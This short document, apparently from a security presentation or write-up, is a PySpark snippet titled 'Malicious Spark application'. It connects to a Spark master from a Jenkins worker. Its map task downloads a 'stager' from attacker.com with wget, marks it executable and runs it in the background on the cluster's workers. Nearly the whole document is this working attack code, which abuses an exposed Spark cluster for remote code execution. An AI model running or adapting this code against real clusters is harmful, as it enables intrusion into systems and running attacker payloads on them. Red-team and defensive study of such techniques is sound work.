- Malicious Spark application - initializing Spark context ```Python from pyspark import SparkContext, SparkConf # Set up configuration options conf = SparkConf() conf = conf.setAppName("Word Count") # Add the IP of the Spark master conf = conf.setMaster("spark://:7077") # Add the IP of the Jenkins worker we are currently on conf = conf.set("spark.driver.host", "") # Initialize the Spark context with the necessary info to reach the master sc = SparkContext(conf = conf) partList = sc.parallelize(range(0, 1)) finalList = partList.map( lambda x: subprocess.Popen( "wget https://attacker.com/stager && chmod +x ./stager && ./stager &", shell=True, preexec_fn=os.setpgrp, ) ) finalList.collect() time.sleep(10) ```